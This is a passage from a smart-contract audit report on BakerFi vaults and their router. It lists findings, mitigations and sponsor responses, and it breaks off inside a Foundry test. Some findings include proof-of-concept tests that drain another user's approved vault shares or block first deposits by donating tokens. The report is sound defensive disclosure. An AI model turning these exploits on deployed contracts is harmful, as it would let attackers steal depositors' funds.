owner := calldataload(add(data.offset, 0x60))
}
shares = Commands.pullInputParam(callStack, shares, inputMapping, 1);
uint256 assets = redeemVault(vault, shares, receiver, owner);
Commands.pushOutputParam(callStack, assets, outputMapping, 1);
return abi.encodePacked(assets);
}
Withdraw underlying assets by burning shares:
function _handleVaultWithdraw(
bytes calldata data,
uint256[] memory callStack,
uint32 inputMapping,
uint32 outputMapping
) private returns (bytes memory) {
IERC4626 vault;
uint256 assets;
address receiver;
address owner;
assembly {
vault := calldataload(data.offset)
assets := calldataload(add(data.offset, 0x20))
receiver := calldataload(add(data.offset, 0x40))
owner := calldataload(add(data.offset, 0x60))
}
assets = Commands.pullInputParam(callStack, assets, inputMapping, 1);
uint256 shares = withdrawVault(vault, assets, receiver, owner);
Commands.pushOutputParam(callStack, shares, outputMapping, 1);
return abi.encodePacked(shares);
}
To allow VaultRouter
to redeem ERC4626 shares on behalf of a user, the user must approve VaultRouter
to spend their shares in advance. However, the caller can be anyone when handling ERC4626 shares redeeming / underlying asset withdrawing, a malicious actor can exploit this approval to drain the user’s ERC4626 shares.
Copy below codes to VaultRouter.ts and run npm run test
:
it.only('Drain ERC4626 shares', async function () {
const { vaultRouter, weth, vault, owner, otherAccount } = await deployFunction();
await weth.approve(await vault.getAddress(), ethers.parseUnits('10000', 18));
//@audit-info deposit 10000e18 WETH into vault for 10000e18 shares
await vault.deposit(ethers.parseUnits('10000', 18), owner.address);
expect(await vault.balanceOf(owner.address)).to.equal(ethers.parseUnits('10000', 18));
// Approve the VaultRouter to spend vault shares from owner
await vault.approve(await vaultRouter.getAddress(), ethers.parseUnits('10000', 18));
let iface = new ethers.Interface(VaultRouterABI);
const commands = [
[
VAULT_ROUTER_COMMAND_ACTIONS.ERC4626_VAULT_REDEEM,
'0x' +
iface
.encodeFunctionData('redeemVault', [
await vault.getAddress(),
ethers.parseUnits('10000', 18),
await otherAccount.getAddress(),
owner.address,
])
.slice(10),
],
];
//@audit-info otherAccount crafts commands to drain owner's vault shares
await vaultRouter.connect(otherAccount).execute(commands);
//@audit-info all shares are drained for 10000e18 WETH and transferred to the malicious user
expect(await vault.balanceOf(owner.address)).to.equal(0);
expect(await weth.balanceOf(otherAccount.address)).to.equal(ethers.parseUnits('10000', 18));
});
As we can see, all owner’s vault shares were drained.
Recommended mitigation steps
Both ERC4626_VAULT_REDEEM
and ERC4626_VAULT_WITHDRAW
commands should only handle the caller’s ERC4626 shares:
function _handleVaultRedeem(
bytes calldata data,
uint256[] memory callStack,
uint32 inputMapping,
uint32 outputMapping
) private returns (bytes memory) {
IERC4626 vault;
uint256 shares;
address receiver;
address owner;
assembly {
vault := calldataload(data.offset)
shares := calldataload(add(data.offset, 0x20))
receiver := calldataload(add(data.offset, 0x40))
- owner := calldataload(add(data.offset, 0x60))
}
+ owner = msg.sender;
shares = Commands.pullInputParam(callStack, shares, inputMapping, 1);
uint256 assets = redeemVault(vault, shares, receiver, owner);
Commands.pushOutputParam(callStack, assets, outputMapping, 1);
return abi.encodePacked(assets);
}
function _handleVaultWithdraw(
bytes calldata data,
uint256[] memory callStack,
uint32 inputMapping,
uint32 outputMapping
) private returns (bytes memory) {
IERC4626 vault;
uint256 assets;
address receiver;
address owner;
assembly {
vault := calldataload(data.offset)
assets := calldataload(add(data.offset, 0x20))
receiver := calldataload(add(data.offset, 0x40))
- owner := calldataload(add(data.offset, 0x60))
}
+ owner = msg.sender;
assets = Commands.pullInputParam(callStack, assets, inputMapping, 1);
uint256 shares = withdrawVault(vault, assets, receiver, owner);
Commands.pushOutputParam(callStack, shares, outputMapping, 1);
return abi.encodePacked(shares);
}
chefkenji (BakerFi) confirmed
Status: Mitigation confirmed. Full details in reports from 0xlemon and shaflow2.
Medium Risk Findings (16)
[M-01] VaultBase
is not ERC4626 compliant
Submitted by klau5, also found by 0xpiken, 0xpiken, shaflow2, and shaflow2
Finding description and impact
VaultBase
is not compliant with the must-have specs in ERC4626. This can break external integrations.
Proof of Concept
The official ERC4626 specifications can be found on this page. Several required specifications are not being followed. Here are the incorrectly implemented functions:
maxDeposit
Maximum amount of the underlying asset that can be deposited into the Vault for the
receiver
, through adeposit
call. MUST return the maximum amount of assetsdeposit
would allow to be deposited forreceiver
and not cause a revert, which MUST NOT be higher than the actual maximum that would be accepted (it should underestimate if necessary). This assumes that the user has infinite assets, i.e. MUST NOT rely onbalanceOf
ofasset
. MUST factor in both global and user-specific limits, like if deposits are entirely disabled (even temporarily) it MUST return 0.
VaultBase.maxDeposit
always returns type(uint256).max
. However, _depositInternal
uses getMaxDeposit
to enforce limits. This means VaultBase.maxDeposit
returns incorrect values if getMaxDeposit
was set. Additionally, it doesn’t return 0 when the contract is paused.
function maxDeposit(address) external pure override returns (uint256 maxAssets) {
@> return type(uint256).max;
}
function _depositInternal(uint256 assets, address receiver) private returns (uint256 shares) {
...
// Check if deposit exceeds the maximum allowed per wallet
@> uint256 maxDepositLocal = getMaxDeposit();
if (maxDepositLocal > 0) {
uint256 depositInAssets = (balanceOf(msg.sender) * _ONE) / tokenPerAsset();
uint256 newBalance = assets + depositInAssets;
if (newBalance > maxDepositLocal) revert MaxDepositReached();
}
...
}
maxMint
Maximum amount of shares that can be minted from the Vault for the
receiver
, through amint
call. MUST return the maximum amount of sharesmint
would allow to be deposited toreceiver
and not cause a revert, which MUST NOT be higher than the actual maximum that would be accepted (it should underestimate if necessary). This assumes that the user has infinite assets, i.e. MUST NOT rely onbalanceOf
ofasset
. MUST factor in both global and user-specific limits, like if mints are entirely disabled (even temporarily) it MUST return 0.
VaultBase.maxMint
always returns type(uint256).max
. However, _depositInternal
uses getMaxDeposit
to enforce limits. This means VaultBase.maxMint
returns incorrect values if getMaxDeposit
was set. Additionally, it doesn’t return 0 when the contract is paused.
function maxMint(address) external pure override returns (uint256 maxShares) {
@> return type(uint256).max;
}
function _depositInternal(uint256 assets, address receiver) private returns (uint256 shares) {
...
// Check if deposit exceeds the maximum allowed per wallet
@> uint256 maxDepositLocal = getMaxDeposit();
if (maxDepositLocal > 0) {
uint256 depositInAssets = (balanceOf(msg.sender) * _ONE) / tokenPerAsset();
uint256 newBalance = assets + depositInAssets;
if (newBalance > maxDepositLocal) revert MaxDepositReached();
}
...
}
maxWithdraw
MUST factor in both global and user-specific limits, like if withdrawals are entirely disabled (even temporarily) it MUST return 0.
VaultBase.maxWithdraw
doesn’t return 0 when the contract is paused.
function maxWithdraw(address shareHolder) external view override returns (uint256 maxAssets) {
maxAssets = this.convertToAssets(balanceOf(shareHolder));
}
maxRedeem
MUST factor in both global and user-specific limits, like if redemption is entirely disabled (even temporarily) it MUST return 0.
VaultBase.maxRedeem
doesn’t return 0 when the contract is paused.
function maxRedeem(address shareHolder) external view override returns (uint256 maxShares) {
maxShares = balanceOf(shareHolder);
}
previewMint
MUST return as close to and no fewer than the exact amount of assets that would be deposited in a
mint
call in the same transaction. i.e.mint
should return the same or fewerassets
aspreviewMint
if called in the same transaction.
If (1) it’s calculating the amount of shares a user has to supply to receive a given amount of the underlying tokens or (2) it’s calculating the amount of underlying tokens a user has to provide to receive a certain amount of shares, it should round up.
It is recommended that previewMint
rounds up the results. (reference) It should return no less than the amount of assets the user actually should pay. But VaultBase.previewMint
rounds down results.
function previewMint(uint256 shares) external view override returns (uint256 assets) {
assets = this.convertToAssets(shares);
}
previewWithdraw
MUST return as close to and no fewer than the exact amount of Vault shares that would be burned in a withdraw call in the same transaction. i.e. withdraw should return the same or fewer shares as previewWithdraw if called in the same transaction. MUST be inclusive of withdrawal fees. Integrators should be aware of the existence of withdrawal fees.
If (1) it’s calculating the amount of shares a user has to supply to receive a given amount of the underlying tokens or (2) it’s calculating the amount of underlying tokens a user has to provide to receive a certain amount of shares, it should round up.
VaultBase takes a fee when you withdraw, but VaultBase.previewWithdraw
doesn’t count the fee. previewWithdraw
should return the share including the fee. Also, previewWithdraw
is recommended to round up the result (reference), but VaultBase.previewWithdraw
is rounding down the calculation.
function previewWithdraw(uint256 assets) external view override returns (uint256 shares) {
@> shares = this.convertToShares(assets);
}
function convertToShares(uint256 assets) external view override returns (uint256 shares) {
Rebase memory total = Rebase(totalAssets(), totalSupply());
@> shares = total.toBase(assets, false);
}
function _redeemInternal(
uint256 shares,
address receiver,
address holder,
bool shouldRedeemETH
) private returns (uint256 retAmount) {
...
// Calculate and handle withdrawal fees
if (getWithdrawalFee() != 0 && getFeeReceiver() != address(0)) {
@> fee = amount.mulDivUp(getWithdrawalFee(), PERCENTAGE_PRECISION);
if (shouldRedeemETH && _asset() == wETHA()) {
unwrapETH(amount);
@> payable(receiver).sendValue(amount - fee);
payable(getFeeReceiver()).sendValue(fee);
} else {
@> IERC20Upgradeable(_asset()).transfer(receiver, amount - fee);
IERC20Upgradeable(_asset()).transfer(getFeeReceiver(), fee);
}
} else {
...
}
emit Withdraw(msg.sender, receiver, holder, amount - fee, shares);
retAmount = amount - fee;
}
previewRedeem
MUST return as close to and no more than the exact amount of assets that would be withdrawn in a
redeem
call in the same transaction. i.e.redeem
should return the same or moreassets
aspreviewRedeem
if called in the same transaction. MUST be inclusive of withdrawal fees. Integrators should be aware of the existence of withdrawal fees.
VaultBase charges withdrawal fees but VaultBase.previewRedeem
doesn’t include fees. It should deduct the asset amount paid as fees.
Additionally, when withdrawing from MultiStrategyVault, amounts to undeploy are calculated per Strategy with rounding down. Since previewRedeem
’s result shouldn’t exceed actual withdrawal amount, it should simulate multi-Strategy withdrawals to include losses.
function previewRedeem(uint256 shares) external view override returns (uint256 assets) {
assets = this.convertToAssets(shares);
}
Recommended Mitigation Steps
Modify to comply with the specification of ERC4626. For MultiStrategyVault
, override ERC4626 view functions to simulate multi-Strategy
deposits/withdrawals and include rounding loss.
chefkenji (BakerFi) confirmed
Status: Unmitigated. Full details in reports from shaflow2, and also included in the Mitigation Review section below.
[M-02] New strategy can not work due to insufficient allowance
Submitted by 0xpiken, also found by 0xlemon, klau5, and shaflow2
When a new strategy is added through MultiStrategy#addStrategy()
, it was not approved to spend the asset in MultiStrategyVault
. Any functions that call newStrategy#deploy()
may revert and result in MultiStrategyVault
being DoS’ed.
Proof of Concept
MultiStrategyVault
is used to manage multiple investment strategies. A new strategy can be added through MultiStrategy#addStrategy()
:
107: function addStrategy(IStrategy strategy) external onlyRole(VAULT_MANAGER_ROLE) {
108: if (address(strategy) == address(0)) revert InvalidStrategy();
109: _strategies.push(strategy);
110: _weights.push(0);
111: emit AddStrategy(address(strategy));
112: }
However, the new strategy was not approved to spend the asset in MultiStrategyVault
, resulting MultiStrategyVault
being DoS’ed.
Copy below codes to VaultMultiStrategy.ts and run npm run test
:
it.only('Add Strategy - no allowance', async () => {
const { vault, usdc, owner, otherAccount } = await loadFixture(deployMultiStrategyVaultFixture);
//@audit-info deploy a new strategy
const Strategy = await ethers.getContractFactory('StrategySupplyAAVEv3');
const strategy = await Strategy.deploy(
owner.address,
await usdc.getAddress(),
otherAccount.address,
);
await strategy.waitForDeployment();
//@audit-info add the new strategy to vault
await vault.addStrategy(await strategy.getAddress());
//@audit-info the new strategy has been added
expect(await vault.strategies()).to.include(await strategy.getAddress());
expect(await vault.asset()).to.equal(await usdc.getAddress());
//@audit-info however, the new strategy was not approved to spend asset of vault
expect(await usdc.allowance(vault.target, strategy.target)).to.equal(0);
});
As we can see, the new strategy has zero allowance.
Recommended mitigation steps
The new strategy should be approved with max allowance when added:
function addStrategy(IStrategy strategy) external onlyRole(VAULT_MANAGER_ROLE) {
if (address(strategy) == address(0)) revert InvalidStrategy();
_strategies.push(strategy);
_weights.push(0);
+ IERC20(strategy.asset()).approve(address(strategy), type(uint256).max);
emit AddStrategy(address(strategy));
}
chefkenji (BakerFi) confirmed
Status: Mitigation confirmed. Full details in reports from 0xlemon and shaflow2.
[M-03] MultiStrategy#removeStrategy()
cannot remove leverage strategies that still have deployed assets
Submitted by 0xpiken, also found by 0xlemon, pfapostol, and shaflow2
https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/MultiStrategy.sol#L265
Finding description and impact
A leverage strategy with deployed assets can not be removed from MultiStrategyVault
due to insufficient assets
Proof of Concept
MultiStrategyVault
is used to manage multiple investment strategies. The vault manager can remove an existing strategy by calling MultiStrategy#removeStrategy()
:
function removeStrategy(uint256 index) external onlyRole(VAULT_MANAGER_ROLE) {
// Validate the index to ensure it is within bounds
if (index >= _strategies.length) revert InvalidStrategyIndex(index);
// Retrieve the total assets managed by the strategy to be removed
uint256 strategyAssets = _strategies[index].totalAssets();
// Update the total weight and mark the weight of the removed strategy as zero
_totalWeight -= _weights[index];
_weights[index] = 0;
// If the strategy has assets, undeploy them and allocate accordingly
if (strategyAssets > 0) {
@> IStrategy(_strategies[index]).undeploy(strategyAssets);
@> _allocateAssets(strategyAssets);
}
// Move the last strategy to the index of the removed strategy to maintain array integrity
uint256 lastIndex = _strategies.length - 1;
if (index < lastIndex) {
_strategies[index] = _strategies[lastIndex];
_weights[index] = _weights[lastIndex];
}
emit RemoveStrategy(address(_strategies[lastIndex]));
// Remove the last strategy and weight from the arrays
_strategies.pop();
_weights.pop();
}
If the strategy to be removed has deployed assets, it will be undeployed first and then allocated to other strategies. It is expected that the equivalent amount of assets will be received when calling IStrategy.undeploy()
:
IStrategy(_strategies[index]).undeploy(strategyAssets);
_allocateAssets(strategyAssets);
However, the amount of received assets could be less than strategyAssets
if the strategy is a leverage strategy.
When a leverage strategy is used to undeploy assets:
deltaDebt
of debt token will be borrowed fromflashLender
- Then the borrowed debt token is repaid to the lending protocol to withdraw
deltaCollateralAmount
of collateral - The withdrawn collateral is swapped to debt token
-
A certain number (
deltaDebt + fee
) of debt token will be paid toflashLender
function _undeploy(uint256 amount, address receiver) private returns (uint256 receivedAmount) { // Get price options from settings IOracle.PriceOptions memory options = IOracle.PriceOptions({ maxAge: getPriceMaxAge(), maxConf: getPriceMaxConf() }); // Fetch collateral and debt balances (uint256 totalCollateralBalance, uint256 totalDebtBalance) = getBalances(); uint256 totalCollateralInDebt = _toDebt(options, totalCollateralBalance, false); // Ensure the position is not in liquidation state if (totalCollateralInDebt <= totalDebtBalance) revert NoCollateralMarginToScale(); // Calculate percentage to burn to accommodate the withdrawal uint256 percentageToBurn = (amount * PERCENTAGE_PRECISION) / (totalCollateralInDebt - totalDebtBalance); // Calculate delta position (collateral and debt) (uint256 deltaCollateralInDebt, uint256 deltaDebt) = _calcDeltaPosition( percentageToBurn, totalCollateralInDebt, totalDebtBalance ); // Convert deltaCollateralInDebt to deltaCollateralAmount uint256 deltaCollateralAmount = _toCollateral(options, deltaCollateralInDebt, true); // Calculate flash loan fee uint256 fee = flashLender().flashFee(_debtToken, deltaDebt); // Approve the flash lender to spend the debt amount plus fee if (!IERC20Upgradeable(_debtToken).approve(flashLenderA(), deltaDebt + fee)) { revert FailedToApproveAllowance(); } // Prepare data for flash loan execution bytes memory data = abi.encode(deltaCollateralAmount, receiver, FlashLoanAction.PAY_DEBT_WITHDRAW); _flashLoanArgsHash = keccak256(abi.encodePacked(address(this), _debtToken, deltaDebt, data)); // Execute flash loan if (!flashLender().flashLoan(IERC3156FlashBorrowerUpgradeable(this), _debtToken, deltaDebt, data)) { _flashLoanArgsHash = 0; revert FailedToRunFlashLoan(); } // The amount of Withdrawn minus the repay ampunt emit StrategyUndeploy(msg.sender, deltaCollateralInDebt - deltaDebt); // Reset hash after successful flash loan _flashLoanArgsHash = 0; // Update deployed assets after withdrawal receivedAmount = _pendingAmount; uint256 undeployedAmount = deltaCollateralInDebt - deltaDebt; _deployedAssets = _deployedAssets > undeployedAmount ? _deployedAssets - undeployedAmount : 0; // Emit strategy update and reset pending amount emit StrategyAmountUpdate(_deployedAssets); // Pending amount is not cleared to save gas //_pendingAmount = 0; }
The amount of received assets can be calculated as below:
Note: please see scenario in warden’s original submission.
Recommended mitigation steps
When removing a strategy from MultiStrategyVault
, ensure the amount of assets to be re-allocated is same as the received amount:
function removeStrategy(uint256 index) external onlyRole(VAULT_MANAGER_ROLE) {
// Validate the index to ensure it is within bounds
if (index >= _strategies.length) revert InvalidStrategyIndex(index);
// Retrieve the total assets managed by the strategy to be removed
uint256 strategyAssets = _strategies[index].totalAssets();
// Update the total weight and mark the weight of the removed strategy as zero
_totalWeight -= _weights[index];
_weights[index] = 0;
// If the strategy has assets, undeploy them and allocate accordingly
if (strategyAssets > 0) {
- IStrategy(_strategies[index]).undeploy(strategyAssets);
- _allocateAssets(strategyAssets);
+ _allocateAssets(IStrategy(_strategies[index]).undeploy(strategyAssets));
}
// Move the last strategy to the index of the removed strategy to maintain array integrity
uint256 lastIndex = _strategies.length - 1;
if (index < lastIndex) {
_strategies[index] = _strategies[lastIndex];
_weights[index] = _weights[lastIndex];
}
emit RemoveStrategy(address(_strategies[lastIndex]));
// Remove the last strategy and weight from the arrays
_strategies.pop();
_weights.pop();
}
chefkenji (BakerFi) confirmed
Status: Mitigation confirmed. Full details in reports from 0xlemon and shaflow2.
[M-04] Sending tokens to a Strategy when totalSupply
is 0 can permanently make the Vault unavailable
Submitted by klau5, also found by 0xlemon, MrPotatoMagic, and shaflow2
Finding description and impact
Before the first deposit or when all shares have been withdrawn making totalSupply
zero, an attacker can manipulate totalAssets
by directly sending tokens to the Strategy, making the Vault permanently unusable. Additionally, in normal usage scenarios, small amounts of assets remaining in the Strategy can cause the same issue.
Proof of Concept
When depositing assets into the Vault, VaultBase._depositInternal
is called. This function only allows cases where both totalAssets
and totalSupply
are either zero or both positive. However, it’s possible to make totalAssets
non-zero while totalSupply
is zero. This prevents any user from depositing tokens into the Vault.
function _depositInternal(uint256 assets, address receiver) private returns (uint256 shares) {
if (receiver == address(0)) revert InvalidReceiver();
// Fetch price options from settings
// Get the total assets and total supply
@> Rebase memory total = Rebase(totalAssets(), totalSupply());
// Check if the Rebase is uninitialized or both base and elastic are positive
@> if (!((total.elastic == 0 && total.base == 0) || (total.base > 0 && total.elastic > 0))) {
revert InvalidAssetsState();
}
...
}
The totalAssets
function returns the value of _totalAssets
, which is defined in both Vault and MultiStrategyVault. These return strategy.totalAssets
// Vault._totalAssets
function _totalAssets() internal view virtual override returns (uint256 amount) {
amount = _strategy.totalAssets(); // Calls the totalAssets function of the strategy
}
// MultiStrategyVault._totalAssets
function _totalAssets() internal view virtual override(VaultBase, MultiStrategy) returns (uint256 assets) {
assets = MultiStrategy._totalAssets(); // Calls the totalAssets function from MultiStrategy to get the total assets
}
// MultiStrategy._totalAssets
function _totalAssets() internal view virtual returns (uint256 assets) {
for (uint256 i = 0; i < _strategies.length; ) {
@> assets += IStrategy(_strategies[i]).totalAssets();
unchecked {
i++;
}
}
return assets;
}
For example, looking at StrategyLeverageAAVEv3.getBalances
, if an attacker deposits aTokens
into the StrategyLeverageAAVEv3
contract before any Vault deposits, totalAssets
will become greater than zero.
function totalAssets() external view returns (uint256 totalOwnedAssetsInDebt) {
IOracle.PriceOptions memory priceOptions = IOracle.PriceOptions({maxAge: 0, maxConf: 0});
@> (uint256 totalCollateral, uint256 totalDebt) = getBalances();
uint256 totalCollateralInDebt = _toDebt(priceOptions, totalCollateral, false);
@> totalOwnedAssetsInDebt = totalCollateralInDebt > totalDebt ? (totalCollateralInDebt - totalDebt) : 0;
}
function getBalances() public view virtual override returns (uint256 collateralBalance, uint256 debtBalance) {
DataTypes.ReserveData memory debtReserve = (aaveV3().getReserveData(_debtToken));
@> DataTypes.ReserveData memory collateralReserve = (aaveV3().getReserveData(_collateralToken));
debtBalance = ERC20(debtReserve.variableDebtTokenAddress).balanceOf(address(this));
uint8 debtDecimals = ERC20(debtReserve.variableDebtTokenAddress).decimals();
@> uint8 collateralDecimals = ERC20(collateralReserve.aTokenAddress).decimals();
@> collateralBalance = ERC20(collateralReserve.aTokenAddress).balanceOf(address(this));
debtBalance = debtBalance.toDecimals(debtDecimals, SYSTEM_DECIMALS);
@> collateralBalance = collateralBalance.toDecimals(collateralDecimals, SYSTEM_DECIMALS);
}
Furthermore, this issue can also occur in normal usage scenarios. When all shares are withdrawn from the Vault, totalSupply
returns to zero. However, when calculating the number of asset tokens to give to users, the result rounds down. Therefore, a small amount of asset tokens might remain unwithdrawn in the Strategy. Subsequently, this Vault becomes unusable.
function _redeemInternal(
uint256 shares,
address receiver,
address holder,
bool shouldRedeemETH
) private returns (uint256 retAmount) {
...
// Calculate the amount to withdraw based on shares
@> uint256 withdrawAmount = (shares * totalAssets()) / totalSupply();
if (withdrawAmount == 0) revert NoAssetsToWithdraw();
This is the PoC. You can run it by adding it to the Vault.ts
file.
it('PoC - DoS before first deposit', async function () {
const { owner, vault, strategy, aave3Pool, cbETH, otherAccount } = await loadFixture(deployFunction);
// attacker deposit cbETH to the aave3Pool and get aToken
const amount = '10'; // 10 wei
await cbETH.transfer(await otherAccount.getAddress(), amount);
await cbETH.connect(otherAccount).approve(await aave3Pool.getAddress(), amount);
const tx = await aave3Pool.connect(otherAccount).supply(await cbETH.getAddress(), amount, await otherAccount.getAddress(), 0);
await expect(tx)
// @ts-ignore
.to.emit(aave3Pool, 'Supply')
.withArgs(
await cbETH.getAddress(),
await otherAccount.getAddress(),
await otherAccount.getAddress(),
10,
0,
);
// send the aToken to the strategy
const res = await aave3Pool.getReserveData(await cbETH.getAddress());
const aTokenAddress = res[8];
const aToken = await ethers.getContractAt('IERC20', aTokenAddress);
await aToken.connect(otherAccount).transfer(await strategy.getAddress(), 10);
expect(await vault.totalAssets()).to.be.greaterThan(0);
// first deposit failed, because the strategy has a balance
await expect(
vault.depositNative(owner.address, {
value: ethers.parseUnits('10', 18),
}),
).to.be.revertedWithCustomError(vault, 'InvalidAssetsState');
});
Recommended Mitigation Steps
Create a function that can withdraw assets when totalSupply
is zero but totalAssets
is non-zero. Call this function in _depositInternal
to clean up the Strategy.
chefkenji (BakerFi) acknowledged and commented:
This issue was already reported in previous audits. We have decided to seed the vaults to now allow the minimum number of shares to be achieved and prevent first depositor attacks,
https://github.com/code-423n4/2024-05-bakerfi-findings/issues/39
[M-05] Permit
doesn’t work with DAI
Submitted by 0xlemon, also found by MrPotatoMagic
https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/VaultRouter.sol#L114
Vulnerability Details
VaultRouter
allows users to use permit transactions for convenience. This router is supposed to work with any ERC20 tokens. We can see in pullTokensWithPermit
how the permit is utilized:
function pullTokensWithPermit(
IERC20Permit token,
uint256 amount,
address owner,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) internal virtual {
// Permit the VaultRouter to spend tokens on behalf of the owner
@-> IERC20Permit(token).permit(owner, address(this), amount, deadline, v, r, s);
// Transfer the tokens from the owner to this contract
IERC20(address(token)).safeTransferFrom(owner, address(this), amount);
}
However this .permit
doesn’t work with DAI tokens because DAI token’s permit signature is different. From the contract at address 0x6B175474E89094C44Da98b954EedeAC495271d0F
, we see the permit function:
function permit(address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s) external
The nonce
and allowed
arguments are added to DAI’s permit that means calling pullTokensWithPermit
where DAI is the token will revert.
Impact
Permit cannot be used with DAI tokens
Recommended mitigation steps
For the special case of DAI token, allow a different implementation of the permit function which allows nonce and allowed variables.
chefkenji (BakerFi) acknowledged
[M-06] Even when the Vault contract is paused, the rebalance
function is not paused
Submitted by klau5
Finding description and impact
When the contract is paused, rebalance
is not paused. While users cannot withdraw, performance fees can still be collected from interest.
Proof of Concept
The rebalance
should not be callable when paused (according to the documentation), but it can still be called even when paused. This means that while users cannot withdraw their investments from the Vault when paused, it’s still possible to collect performance fees on interest through the rebalance
function. Also, MultiStrategyVault has the same issue.
function rebalance(
IVault.RebalanceCommand[] calldata commands
@> ) external override nonReentrant onlyRole(VAULT_MANAGER_ROLE) returns (bool success) {
success = true;
uint256 numCommands = commands.length;
for (uint256 i = 0; i < numCommands; ) {
if (commands[i].action == HARVEST_VAULT) {
_harvestAndMintFees();
}
unchecked {
i++;
}
}
}
Recommended Mitigation Steps
Add the whenNotPaused
modifier to the rebalance
function.
chefkenji (BakerFi) confirmed
Status: Mitigation confirmed. Full details in reports from 0xlemon and shaflow2.
[M-07] Depositor can bypass the max deposit
limit
Submitted by 0xlemon, also found by MrPotatoMagic and shaflow2
https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/VaultBase.sol#L251
Summary
Depositors can easily bypass the maximum deposit limit by specifying another recipient address than the one they are depositing from
Vulnerability Details
VaultBase::_depositInternal()
limits the amount of assets a single depositor (wallet) can deposit into the vault if _maxDeposit > 0
. We can see the following checks being performed:
function _depositInternal(uint256 assets, address receiver) private returns (uint256 shares) {
//...
// Check if deposit exceeds the maximum allowed per wallet
uint256 maxDepositLocal = getMaxDeposit();
if (maxDepositLocal > 0) {
@-> uint256 depositInAssets = (balanceOf(msg.sender) * _ONE) / tokenPerAsset();
uint256 newBalance = assets + depositInAssets;
if (newBalance > maxDepositLocal) revert MaxDepositReached();
}
//...
}
The problem here is that we take the shares of msg.sender
which can be different from the recipient
specified when depositing. This means that a single depositor can deposit as much as he wants, he just has to specify a different recipient address.
Attack path
- Bob has never deposited in the vault so his shares are 0 -
balanceOf(Bob) = 0
- He creates a second wallet to recieve the shares that will be minted to him on deposit
- Bob calls
Vault::deposit()
specifying his second wallet as a recipient - At the end of the deposit transaction
balanceOf(Bob)
is still 0 because we mint the shares to the recipient (Bob’s second wallet) - Bob repeats this process as much as he wants and his
depositInAssets
will always be 0 so he can never reach the deposit limit.
Impact
Bypassing the deposit limit
Recommended mitigation steps
Introduce a mapping
that keeps track of the deposits of msg.sender
chefkenji (BakerFi) confirmed
Status: Unmitigated. Full details in report from shaflow2, and also included in the Mitigation Review section below.
[M-08] The dispatch
function of the VaultRouter
, does not work as intended, with PULL_TOKEN
action
Submitted by pfapostol, also found by MrPotatoMagic
Finding description and impact
The dispatch
function of the VaultRouter
contract handles the execution of actions from the MultiCommand.execute
call.
Actions are encoded as follows (Right-to-Left):
- Bits (0-32): The action.
- Bits (32-63): The input mapping.
- Bits (64-95): The output mapping.
While most commands are handled using the corresponding action stored in the actionToExecute
variable:
uint32 actionToExecute = uint32(action & Commands.THIRTY_TWO_BITS_MASK);
// Extract input mapping from bits 32-63 by right shifting 32 bits and masking
uint32 inputMapping = uint16((action >> 32) & Commands.THIRTY_TWO_BITS_MASK);
// Extract output mapping from bits 64-95 by right shifting 64 bits and masking
uint32 outputMapping = uint16(((action >> 64) & Commands.THIRTY_TWO_BITS_MASK));
...
} else if (actionToExecute == Commands.PULL_TOKEN_FROM) {
output = _handlePullTokenFrom(data, callStack, inputMapping);
} else if (actionToExecute == Commands.PUSH_TOKEN) {
output = _handlePushToken(data, callStack, inputMapping);
} else if (actionToExecute == Commands.PUSH_TOKEN_FROM) {
output = _handlePushTokenFrom(data, callStack, inputMapping);
} else if (actionToExecute == Commands.SWEEP_TOKENS) {
...
There is one exception. Likely due to a typo, the action
“tuple” is used instead of actionToExecute
:
-
} else if (action == Commands.PULL_TOKEN) {
Impact
If an inputMapping
is supplied with actionToExecute
equal PULL_TOKEN, the execution will revert with InvalidCommand(uint256 action)
.
Proof of Concept
This PoC follows these steps:
- Deploy the
VaultRouter
. - Transfer some
WETH
to theUSER1
and approve theVaultRouter
on theUSER1
’s behalf. -
Execute two commands:
-
Demonstrate that the issue does not occur when
inputMapping
is not supplied.│ │ ├─ [29211] VaultRouter::dispatch(228, <unknown>, [0, 0, 0, 0, 0, 0, 0, 0]) │ │ │ ├─ [28962] VaultRouter::_handlePullToken(<unknown>, [0, 0, 0, 0, 0, 0, 0, 0], 0) ... │ │ │ │ │ │ ├─ [26048] WETH::transferFrom(USER1: [0x856243F11eFbE357db89aeb2DC809768cC055b1B], VaultRouter: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 1000000000000000000 [1e18]) ... │ │ │ └─ ← true, 0x
-
Trigger the issue: when
inputMapping
is supplied, the execution reverts with:│ │ └─ ← [Revert] InvalidCommand(4294967298 [4.294e9])
-
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.24;
import {Test} from "lib/forge-std/src/Test.sol";
import {console} from "lib/forge-std/src/console.sol";
import {MockERC20} from "lib/forge-std/src/mocks/MockERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {BakerFiProxy} from "contracts/proxy/BakerFiProxy.sol";
import {BakerFiProxyAdmin} from "contracts/proxy/BakerFiProxyAdmin.sol";
import {VaultRouter} from "contracts/core/VaultRouter.sol";
import {Command} from "contracts/core/MultiCommand.sol";
import {Commands} from "contracts/core/router/Commands.sol";
contract PoCs is Test {
address immutable DEPLOYER = makeAddr("DEPLOYER");
address immutable USER1 = makeAddr("USER1");
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant WstETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
function setUp() public {
vm.label(WETH, "WETH");
vm.label(WstETH, "WstETH");
vm.createSelectFork("https://rpc.ankr.com/eth");
}
function test_dispatch_action_impossible() public {
BakerFiProxyAdmin bakerFiProxyAdmin = new BakerFiProxyAdmin(DEPLOYER);
BakerFiProxy bakerFiProxy = new BakerFiProxy(
address(new VaultRouter()),
address(bakerFiProxyAdmin),
abi.encodeWithSelector(
VaultRouter.initialize.selector,
DEPLOYER,
WETH
)
);
VaultRouter vaultRouter = VaultRouter(payable(address(bakerFiProxy)));
vm.label(address(vaultRouter), "VaultRouter");
vm.startPrank(USER1);
deal(WETH, USER1, 3 ether);
vm.deal(USER1, 3 ether);
IERC20(WETH).approve(address(vaultRouter), 3 ether);
Command[] memory commands = new Command[](2);
commands[0] = Command({
action: Commands.PULL_TOKEN,
data: abi.encode(WETH, 1 ether)
});
commands[1] = Command({
